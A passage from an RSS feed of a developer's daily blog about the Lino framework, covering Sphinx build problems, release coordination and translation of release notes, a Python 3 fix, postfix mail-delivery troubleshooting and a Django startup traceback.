intersphinx in the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file. I compared with the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
file in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But that wasn’t enough (as build &lt;a class="reference external" href="https://travis-ci.org/lino-framework/presto/builds/632146350"&gt;#34&lt;/a&gt; shows).  Yes,
indeed, it seems that we do need a PyPI release of book just for making its docs
available to intersphinx!&lt;/p&gt;
&lt;/section&gt;
&lt;section id="challenges-when-preparing-a-release-in-a-team"&gt;
&lt;h2&gt;Challenges when preparing a release in a team&lt;a class="headerlink" href="#challenges-when-preparing-a-release-in-a-team" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;About &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3433"&gt;#3433&lt;/a&gt;. This is the first time that two developers (Hamza and I)
collaborate for testing and preparing an individual release (more precisely: an
upgrade of a production site.  The code of the production site is more than one
year old. The site is quite stable, so they have almost no change requests of
their own. The main reason for this release is to upgrade Python 2 to 3.  All
this wouldn’t be a problem, but they also asked us to make sure that the upgrade
“will not cause any problems”. And it is interesting to analyze the challenges
of this new situation.&lt;/p&gt;
&lt;p&gt;I have set up a preview site and a migration script, and Hamza has now access to
both the production and the preview site.  He has been working 5 hours on this
yesterday in order to find differences. He has created and updated a Google
Drive document “ÖSHZ Eupen 20.2.0 testing report”. I had started release notes in
German long time ago in a Sphinx document &lt;a class="reference external" href="https://welfare.lino-framework.org/de/changes/19.11.0.html#weleup-19-11-0" title="(in Lino für ÖSHZ v21.3)"&gt;&lt;span&gt;19.11.0 (coming)&lt;/span&gt;&lt;/a&gt;. But I had no
time to explain to Hamza all the bells and whistles of using a Sphinx document.
Hamza decided to use a table, but I am afraid that this is not readable for the
customer. We must rather use a format as in &lt;a class="reference external" href="https://welfare.lino-framework.org/de/changes/19.11.0.html#weleup-19-11-0" title="(in Lino für ÖSHZ v21.3)"&gt;&lt;span&gt;19.11.0 (coming)&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I started a documentation page about &lt;a class="reference external" href="https://dev.lino-framework.org/dev/changelogs.html#dev-changes" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Documenting changes&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Until now my release notes for this site have been in German. If we want Hamza
to help me, this document must be either in English or in French. Even their
application expert probably doesn’t know (and probably doesn’t &lt;em&gt;want&lt;/em&gt; to know)
that the German abbreviation “VSE” is called “ISIP” in English and “PIIS” in
French.  Or that a “coaching” is called “Begleitung” in German and
“Intervention” in French. Another challenge is that their production site
actually has no English language.  Hamza does the comparison in French.  Can we
assume that Tonis will never do a release for &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; because he speaks
neither French nor German, and because &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; will never be used in
English because it is specific for Belgium? It’s not that sure.  Maybe a
vocabulary page with a few dozen of entries would be enough to make everybody
happy.  I vaguely remember that I once even started such a page, but I didn’t
find it right now.&lt;/p&gt;
&lt;p&gt;Remarks to Gerd:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;I suggest to replace Dutch by English on your site.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We started a new document &lt;a class="reference external" href="https://welfare.lino-framework.org/changes/2020.html#weleup-changes-2020" title="(in Lino Welfare)"&gt;&lt;span&gt;2020&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Release notes for &lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#weleup" title="(in Lino Welfare)"&gt;&lt;span&gt;The Eupen variant of Lino Welfare&lt;/span&gt;&lt;/a&gt; are no longer done in German but in English.
The customer can ask for a summary or presentation in German.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="no-module-named-lino-care-lib-care-workflows"&gt;
&lt;h2&gt;no module named lino_care.lib.care.workflows&lt;a class="headerlink" href="#no-module-named-lino-care-lib-care-workflows" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Build &lt;a class="reference external" href="https://travis-ci.org/lino-framework/book/jobs/632146357"&gt;#1637.2&lt;/a&gt; in
book failed with sphinx.errors.SphinxWarning:
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;[autosummary]&lt;/span&gt; &lt;span class="pre"&gt;failed&lt;/span&gt; &lt;span class="pre"&gt;to&lt;/span&gt; &lt;span class="pre"&gt;import&lt;/span&gt; &lt;span class="pre"&gt;'lino_care.lib.care.workflows':&lt;/span&gt; &lt;span class="pre"&gt;no&lt;/span&gt; &lt;span class="pre"&gt;module&lt;/span&gt; &lt;span class="pre"&gt;named&lt;/span&gt; &lt;span class="pre"&gt;lino_care.lib.care.workflows&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I guess that this is just because the PyPI version of care is obsolete. The
&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#care" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Care&lt;/span&gt;&lt;/a&gt; project fell asleep more than a year ago because the application
carrier went out of money.  It is still a part of the book.  I might move the
relevant docs files from the book into the care repository and let the project
sleep in peace. But it is less work to just make a pro-forma release of care.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="advancing-in-cosi"&gt;
&lt;h2&gt;Advancing in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;&lt;a class="headerlink" href="#advancing-in-cosi" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I upgraded our &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; production site and tested the new &lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#term-preliminary-transactions" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;preliminary
transactions&lt;/span&gt;&lt;/a&gt; feature. It works, and (finally!) Lino gives the same numbers in
our January 2018 VAT declaration as those we declared using TIM.&lt;/p&gt;
&lt;p&gt;One non-blocking issue : the new field
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Journal.preliminary" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Journal.preliminary&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  was not yet included in the
detail view.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0103.html</guid><pubDate>Fri, 03 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, January 2, 2020</title><link>https://luc.lino-framework.org/blog/2020/0102.html</link><description>&lt;section id="thursday-january-2-2020"&gt;
&lt;h1&gt;Thursday, January 2, 2020&lt;a class="headerlink" href="#thursday-january-2-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I found the next issue in the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.eevat.html#module-lino_xl.lib.eevat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.eevat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : Field [4] includes an
amount that has been booked by the &lt;em&gt;opening entry&lt;/em&gt;, i.e. a miscellaneous journal
entry on 2018-01-01 that actually contains &lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#term-preliminary-transactions" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;preliminary transactions&lt;/span&gt;&lt;/a&gt;.
Lino did not yet have this concept. Now I introduced it. New field
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Journal.preliminary" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Journal.preliminary&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  I also added a little set of
demo bookings.&lt;/p&gt;
&lt;p&gt;Should the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat.MovementsByDeclaration&lt;/span&gt;&lt;/code&gt; table have this hard-coded filter
condition &lt;cite&gt;exclude=dict(vat_class=’’)&lt;/cite&gt;? Probably not.&lt;/p&gt;
&lt;p&gt;En passant, in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, I renamed  ChangeState to ToggleState
and change_state to toggle_state.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0102.html</guid><pubDate>Thu, 02 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, January 1, 2020</title><link>https://luc.lino-framework.org/blog/2020/0101.html</link><description>&lt;section id="wednesday-january-1-2020"&gt;
&lt;h1&gt;Wednesday, January 1, 2020&lt;a class="headerlink" href="#wednesday-january-1-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://atelier.lino-framework.org/api/atelier.invlib.tasks.html#module-atelier.invlib.tasks" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.invlib.tasks&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; there was a bug causing a traceback under Python
3 when creating the first entry of a new year.  I fixed this, and also removed
two places where it says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;six&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PY2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I removed these additional tests, and dependency to &lt;cite&gt;six&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;I had a traceback:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;File &amp;quot;.../site-packages/localflavor/generic/checksums.py&amp;quot;, line 2, in &amp;lt;module&amp;gt;
  from django.utils import six

ImportError: cannot import name &amp;#39;six&amp;#39; from &amp;#39;django.utils&amp;#39; (.../site-packages/django/utils/__init__.py)`
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Which I fixed using:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install -U django-localflavor
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0101.html</guid><pubDate>Wed, 01 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, December 31, 2019</title><link>https://luc.lino-framework.org/blog/2019/1231.html</link><description>&lt;section id="tuesday-december-31-2019"&gt;
&lt;h1&gt;Tuesday, December 31, 2019&lt;a class="headerlink" href="#tuesday-december-31-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="some-mailman-list-members-don-t-receive-any-mail"&gt;
&lt;h2&gt;Some mailman list members don’t receive any mail&lt;a class="headerlink" href="#some-mailman-list-members-don-t-receive-any-mail" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Still working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3339"&gt;#3339&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It seems that the easiest way to reproduce our problem it to have our own mail
server, i.e.postfix at LF does not use a relay. Because then we can at least see
what happens.  And this is what happens when I try to send something to any
recipient &lt;cite&gt;&amp;#64;hot.ee&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt; &lt;span class="n"&gt;myhostname&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5611&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mf"&gt;1E78&lt;/span&gt;&lt;span class="n"&gt;DAC52&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;lucsaffre&lt;/span&gt;&lt;span class="nd"&gt;@hot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mx1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;194.126.101.119&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;6.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;6.1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;4.3.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;deferred&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;
&lt;span class="n"&gt;mx1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;194.126.101.119&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;said&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;450&lt;/span&gt; &lt;span class="mf"&gt;4.3.2&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt; &lt;span class="n"&gt;currently&lt;/span&gt; &lt;span class="n"&gt;unavailable&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;
&lt;span class="n"&gt;reply&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="n"&gt;TO&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The system admin of hot.ee thinks that maybe I am greylisted and suggests that I
increase my timeout, iow to be more patient when waiting for their answer.&lt;/p&gt;
&lt;p&gt;As explained &lt;a class="reference external" href="https://serverfault.com/questions/24121/understanding-a-postfix-log-file-entry"&gt;here&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Message delivery time stamps&lt;/span&gt;
&lt;span class="c1"&gt;# delays=a/b/c/d, where&lt;/span&gt;
&lt;span class="c1"&gt;#   a = time before queue manager, including message transmission&lt;/span&gt;
&lt;span class="c1"&gt;#   b = time in queue manager&lt;/span&gt;
&lt;span class="c1"&gt;#   c = connection setup including DNS, HELO and TLS;&lt;/span&gt;
&lt;span class="c1"&gt;#   d = message transmission time.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So the “connection setup including DNS, HELO and TLS” took 6.1 seconds.  I
looked for configuration settings that might instruct postscript to stop
waiting:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo postconf | grep timeout
connection_cache_protocol_timeout = 5s
lmtp_connect_timeout = 0s
postscreen_upstream_proxy_timeout = 5s
smtpd_upstream_proxy_timeout = 5s
# (showing only entries with less than 10s)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I looked up the meaning of those settings in the &lt;a class="reference external" href="http://www.postfix.org/postconf.5.html"&gt;docs&lt;/a&gt; but could not find anything that
looks worth a test.&lt;/p&gt;
&lt;p&gt;I verified that our server is not listed at spamhaus:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;spamhaus&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;167.114.229.225&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1231.html</guid><pubDate>Tue, 31 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Monday, December 30, 2019</title><link>https://luc.lino-framework.org/blog/2019/1230.html</link><description>&lt;section id="monday-december-30-2019"&gt;
&lt;h1&gt;Monday, December 30, 2019&lt;a class="headerlink" href="#monday-december-30-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I had to make some screenshots for our “Hosting 2020” program. As a side effect
we have a new plugin configuration parameter
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Plugin.demo_absences&lt;/span&gt;&lt;/code&gt;. Because calendar entries “Absent
for private reason” were irritating in a &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt; demo.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1230.html</guid><pubDate>Mon, 30 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, December 29, 2019</title><link>https://luc.lino-framework.org/blog/2019/1229.html</link><description>&lt;section id="sunday-december-29-2019"&gt;
&lt;h1&gt;Sunday, December 29, 2019&lt;a class="headerlink" href="#sunday-december-29-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="runtimeerror-populate-isn-t-reentrant"&gt;
&lt;h2&gt;RuntimeError: populate() isn’t reentrant&lt;a class="headerlink" href="#runtimeerror-populate-isn-t-reentrant" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Again &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3178"&gt;#3178&lt;/a&gt;. This time I tried into another direction and found a more
plausible explanation about what’s happening.&lt;/p&gt;
&lt;p&gt;As usual, the problem comes only “sometimes at random moments” and disappears
when we call &lt;a class="reference external" href="https://hosting.lino-framework.org/reload_services/#xfile-reload_services.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;reload_services.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The last traceback in the log file is:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;12432&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;12432&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt; &lt;span class="n"&gt;processing&lt;/span&gt; &lt;span class="n"&gt;WSGI&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;
    &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set_prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;
    &lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;populate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INSTALLED_APPS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/apps/registry.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;83&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;populate&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;populate() isn&amp;#39;t reentrant&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;populate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;isn&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t reentrant&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But these subsequent tracebacks are not the real reason. They just mean that
something went wrong during Django startup, and that you should scroll back in
the log until you find that initial traceback. Our initial exception is this:&lt;/p&gt;
